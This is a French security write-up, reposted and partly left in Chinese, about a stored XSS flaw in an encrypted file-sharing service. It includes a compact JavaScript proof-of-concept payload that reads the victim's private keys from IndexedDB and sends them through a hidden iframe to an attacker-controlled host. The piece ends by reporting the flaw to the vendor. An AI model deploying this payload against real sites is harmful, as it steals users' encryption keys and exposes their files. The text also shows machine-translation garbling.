Maison >Opération et maintenance >Sécurité >Obtenez les informations de clé privée locale de l'utilisateur cible via la vulnérabilité XSS stockée

Obtenez les informations de clé privée locale de l'utilisateur cible via la vulnérabilité XSS stockée

王林
王林avant
2019-12-04 17:39:332788parcourir

Obtenez les informations de clé privée locale de l'utilisateur cible via la vulnérabilité XSS stockée

Contexte

Il n'y a pas si longtemps, un article publié sur un site Web technologique néerlandais montrait une nouvelle version d'un service en ligne , qui prétend utiliser ce service pour réaliser la transmission de bout en bout des demandes de fichiers par les utilisateurs via le Web.

Comme avant, parce que je suis très intéressé par cette implémentation de chiffrement sécurisé, j'ai eu envie de le tester en voyant cet article. L'article affirme que ce type de demande de fichiers via le Web est sûr. Est-ce vrai ? Le site Web du service de chiffrement présente uniquement plusieurs méthodes de chiffrement locales de bout en bout utilisant les clés privées RSA et AES. Il ne présente pas en profondeur sa mise en œuvre spécifique du chiffrement. De plus, son application n'est pas open source, elle est donc difficile à auditer ou à examiner. le code. Le livre blanc explique comment démarrer.

Bien que le site Web du service de cryptage prétende que le service qu'il fournit est absolument sûr et fiable, j'ai l'impression que tout le monde peut faire des erreurs, j'ai donc décidé de le tester en profondeur.

Trouvé une vulnérabilité XSS stockée. Le service de cryptage permet aux utilisateurs de créer une demande de fichier qui génère un lien pouvant être envoyé par courrier électronique à d'autres utilisateurs du service. Une fois que l'utilisateur destinataire a reçu l'e-mail de lien, il verra une page lorsqu'il ouvrira l'e-mail, où il pourra effectuer des opérations de téléchargement de fichiers. La demande de fichier créée par l'utilisateur contient les informations de clé publique utilisées par l'utilisateur pour chiffrer le fichier sur le client.

Le problème ici est que dans la page de liens générée par cette demande de fichier, le champ du nom d'utilisateur ou du nom de l'entreprise n'est pas filtré et la charge utile XSS peut être déclenchée si la charge utile XSS-<script> it, alert('Salut !');</script>, après avoir envoyé le lien de demande de fichier correspondant aux autres utilisateurs, XSS sera exécuté à l'ouverture du lien, comme suit :

En d'autres termes, nous pouvons exécuter du code arbitraire dans le système de l'utilisateur cible et faire de mauvaises choses, mais comment l'utiliser en profondeur ?Obtenez les informations de clé privée locale de lutilisateur cible via la vulnérabilité XSS stockée

Obtenir la clé privée locale de l'utilisateur cible informations

Ce service de cryptage utilise le cryptage asymétrique côté client pour protéger les fichiers des utilisateurs. Étant donné que le service de cryptage est déployé via le site Web, son mécanisme de cryptage doit être appelé via JavaScript, c'est-à-dire qu'il peut être implémenté. via JavaScript pour obtenir des informations sur la clé privée locale. Après analyse, il a été constaté que le service de chiffrement stocke les informations de clé privée générées par l'utilisateur dans la base de données locale indexedDB et ne peut pas être envoyée sur le réseau.

La clé privée de l'utilisateur est une information importante pour protéger les fichiers cryptés de l'utilisateur. Ce n'est qu'avec la clé privée que les fichiers cryptés avec sa clé associée peuvent être déchiffrés. La clé privée doit être bien protégée et ne peut pas être partagée avec d'autres personnes. .

Comme vous l'avez peut-être deviné, nous pouvons obtenir la clé privée de l'utilisateur en modifiant la charge utile dans le champ de nom où existe la vulnérabilité XSS stockée. J'ai écrit le code pour obtenir les informations de stockage local, puis je l'ai examiné et testé couche par couche. Enfin, j'ai trouvé le code suivant pour obtenir la clé privée de l'utilisateur local :

var dbReq = indexedDB.open("companyname");
dbReq.onsuccess = () => {
    var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key");
    store.onsuccess = () => alert(store.result.pem);
};

Intégrez ce code dans le champ de nom. , puis générez un lien de demande de fichier et ouvrez-le. Ce lien rebondira et affichera les informations de clé privée de l'utilisateur :

Obtenez les informations de clé privée locale de lutilisateur cible via la vulnérabilité XSS stockéeCollectez les informations de clé privée de la victime auprès de l'attaquant. côté

De cette façon, ce n'est pas un bon moyen d'afficher les informations de clé privée de l'utilisateur, nous devons les envoyer à un serveur distant que nous contrôlons, n'est-ce pas ? À cette fin, j'ai essayé d'utiliser POST pour envoyer les informations de clé privée au serveur distant que je contrôle. J'ai rencontré le premier problème. La zone de nom avec la vulnérabilité XSS mentionnée ci-dessus ne permet de saisir qu'un maximum de 255 caractères, mais la requête JavaScript est très longue, le code doit donc être simplifié autant que possible.

Mais très vite, j'ai découvert que jQuery existe dans les applications de service, ce qui permet de faire des requêtes Ajax très simples et courtes, ce qui est génial. Mais au final, j'ai échoué à cause des restrictions CORS.

Certaines personnes peuvent dire que c'est parce que mon serveur distant n'est pas configuré correctement, mais j'ai défini Access-Control-Allow-Origin sur *, mais cela ne fonctionne toujours pas, donc je ne peux qu'estimer que il s'agit des restrictions de configuration CORS côté serveur.

但对于非Ajax请求来说,我发现在GET请求中,如果把数据放到URL后就是一种很好的传输方式,为此我选择了iframes方式的链接嵌入。把数据放到URL之后,如//example.com/?k=DATA,然后在请求生成的链接页面中隐蔽添加了一个iframes。受害者浏览器会加载该iframes框架,把数据回传给我,如:

$(&#39;body&#39;).append(
    &#39;<iframe src="//example.com/?k=&#39; +
    btoa(JSON.stringify(secret_data)) +
    &#39;" />&#39;
);

用window.location.href方法让受害用户执行重定向跳转到攻击者页面,也是可行的,但这难免会引起怀疑。

就这样,我们就能远程收集获取到目标用户的私钥信息了!

Proof of Concept

经过测试,我把上述代码压缩,并填入我的远程服务器短域名,刚好是250个字符,低于255个最大字符的限制。完美!

<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]).
objectStore("keys").getAll().onsuccess=(b)=>$(&#39;body&#39;).append(&#39;<iframe src="//example.org?k=&#39;+btoa
(JSON.stringify(b.target.result))+&#39;">&#39;),1);</script>

参考以下POC视频:

https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm

在我的远程服务器端,我用了一个简单的PHP脚本来收集上述传输回来的附加在URL后的目标用户数据,进行解析提取,会形成一个keys.txt文件进行存储。

总结

测试有效后,我及时联系了厂商,他们在15分钟就给了回复,经过一番讨论之后,他们在一个小时之内就及时修复了该漏洞。所以,我的经验是,别单单根据网站或厂商的说明去相信一项服务的安全性,安全的前提须基于以下因素:

运行有一段时间;

是开源的;

经过现实应用的考验;

经过多方参与的安全审计;

只有经过深入的研究和审查才能声称是安全的;

或者由其它可信安全的第三方托管运行。

相关文章教程推荐:web服务器安全教程

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer